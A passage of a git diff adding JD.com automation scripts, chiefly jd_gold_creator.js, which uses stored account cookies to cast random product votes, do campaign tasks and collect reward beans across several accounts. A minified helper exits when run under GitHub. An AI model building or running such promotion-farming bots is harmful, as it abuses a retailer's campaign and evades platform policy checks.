catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +async function getShareCode() { + console.log(`======账号${$.index}开始======`) + await getJDFruit() + await getJdPet() + await getPlantBean() + await getJdFactory() + await getJxFactory() + await getJxNc() + await getJdZZ() + await getJoy() + await getSgmh() + await getCFD() + await getJdCash() + console.log(`======账号${$.index}结束======\n`) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskPostUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape( + JSON.stringify(body) + )}&client=wh5&clientVersion=9.1.0`, + headers: { + Cookie: cookie, + origin: "https://h5.m.jd.com", + referer: "https://h5.m.jd.com/", + "Content-Type": "application/x-www-form-urlencoded", + "User-Agent": $.isNode() + ? process.env.JD_USER_AGENT + ? process.env.JD_USER_AGENT + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" + : $.getdata("JDUA") + ? $.getdata("JDUA") + : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + }; +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_gold_creator.js b/jd_gold_creator.js new file mode 100644 index 0000000..ad88fcb --- /dev/null +++ b/jd_gold_creator.js @@ -0,0 +1,318 @@ +/* +金榜创造营 +活动入口:https://h5.m.jd.com/babelDiy/Zeus/2H5Ng86mUJLXToEo57qWkJkjFPxw/index.html +活动时间:2021-05-21至2021-12-31 +脚本更新时间:2021-05-28 14:20 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===================quantumultx================ +[task_local] +#金榜创造营 +13 1,22 * * * jd_gold_creator.js, tag=金榜创造营, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=====================Loon================ +[Script] +cron "13 1,22 * * *" script-path=jd_gold_creator.js, tag=金榜创造营 + +====================Surge================ +金榜创造营 = type=cron,cronexp="13 1,22 * * *",wake-system=1,timeout=3600,script-path=jd_gold_creator.js + +============小火箭========= +金榜创造营 = type=cron,script-path=jd_gold_creator.js, cronexpr="13 1,22 * * *", timeout=3600, enable=true + */ +const $ = new Env('金榜创造营'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0) +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.beans = 0 + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } else { + $.setdata('', `CookieJD${i ? i + 1 : ""}`);//cookie失效,故清空cookie。$.setdata('', `CookieJD${i ? i + 1 : "" }`);//cookie失效,故清空cookie。 + } + continue + } + await main() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function main() { + try { + await goldCreatorTab();//获取顶部主题 + await getDetail(); + await showMsg(); + } catch (e) { + $.logErr(e) + } +} +function showMsg() { + return new Promise(resolve => { + if ($.beans) { + message += `本次运行获得${$.beans}京豆` + $.msg($.name, '', `【京东账号${$.index}】${$.UserName || $.nickName}\n${message}`); + } + resolve() + }) +} +async function getDetail() { + $.subTitleInfos = $.subTitleInfos.filter(vo => !!vo && vo['hasVoted'] === '0'); + for (let item of $.subTitleInfos) { + console.log(`\n开始给【${item['longTitle']}】主题下的商品进行投票`); + await goldCreatorDetail(item['matGrpId'], item['subTitleId'], item['taskId'], item['batchId']); + await $.wait(2000); + } +} +function goldCreatorTab() { + $.subTitleInfos = []; + return new Promise(resolve => { + const body = {"subTitleId":"","isPrivateVote":"0"}; + const options = taskUrl('goldCreatorTab', body) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} goldCreatorDetail API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.code === '0') { + $.subTitleInfos = data.result.subTitleInfos || []; + let unVoted = $.subTitleInfos.length + console.log(`共有${$.subTitleInfos.length}个主题`); + $.stageId = data.result.mainTitleHeadInfo.stageId; + $.advGrpId = data.result.mainTitleHeadInfo.advGrpId; + await goldCreatorDetail($.subTitleInfos[0]['matGrpId'], $.subTitleInfos[0]['subTitleId'], $.subTitleInfos[0]['taskId'], $.subTitleInfos[0]['batchId'], true); + $.subTitleInfos = $.subTitleInfos.filter(vo => !!vo && vo['hasVoted'] === '0'); + console.log(`已投票${unVoted - $.subTitleInfos.length}主题\n`); + } else { + console.log(`goldCreatorTab 异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//获取每个主题下面待投票的商品 +function goldCreatorDetail(groupId, subTitleId, taskId, batchId, flag = false) { + $.skuList = []; + $.taskList = []; + $.remainVotes = 0; + return new Promise(resolve => { + const body = { + groupId, + "stageId": $.stageId, + subTitleId, + batchId, + "skuId": "", + "taskId": Number(taskId) + }; + const options = taskUrl('goldCreatorDetail', body) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} goldCreatorDetail API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.code === '0') { + $.remainVotes = data.result.remainVotes || 0; + $.skuList = data.result.skuList || []; + $.taskList = data.result.taskList || []; + if (flag) { + await doTask2(batchId); + } else { + console.log(`当前剩余投票次数:${$.remainVotes}`); + await doTask(subTitleId, taskId, batchId); + } + } else { + console.log(`goldCreatorDetail 异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function doTask(subTitleId, taskId, batchId) { + $.skuList = $.skuList.filter(vo => !!vo && vo['isVoted'] === 0); + let randIndex = Math.floor(Math.random() * $.skuList.length); + console.log(`给 【${$.skuList[randIndex]['name']}】 商品投票`); + const body = { + "stageId": $.stageId, + subTitleId, + "skuId": $.skuList[randIndex]['skuId'], + "taskId": Number(taskId), + "itemId": "1", + "rankId": $.skuList[randIndex]['rankId'], + "type": 1, + batchId + }; + await goldCreatorDoTask(body); +} +async function doTask2(batchId) { + for (let task of $.taskList) { + task = task.filter(vo => !!vo && vo['taskStatus'] === 1); + for (let item of task) { + console.log(`\n做额外任务:${item['taskName']}`) + const body = {"taskId": item['taskId'], "itemId": item['taskItemInfo']['itemId'], "type": item['taskType'], batchId}; + if (item['taskType'] === 1) { + body['type'] = 2; + } + await goldCreatorDoTask(body); + await $.wait(2000); + } + } +} +function goldCreatorDoTask(body) { + return new Promise(resolve => { + const options = taskUrl('goldCreatorDoTask', body) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} goldCreatorDetail API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.code === '0') { + if (data.result.taskCode === '0') { + console.log(`成功,获得 ${data.result.lotteryScore}京豆\n`); + if (data.result.lotteryScore) $.beans += parseInt(data.result.lotteryScore); + } else { + console.log(`失败:${data.result['taskMsg']}\n`); + } + } else { + console.log(`失败:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=content_ecology&clientVersion=10.0.0&client=wh5&eufv=false&uuid=`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://h5.m.jd.com/", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 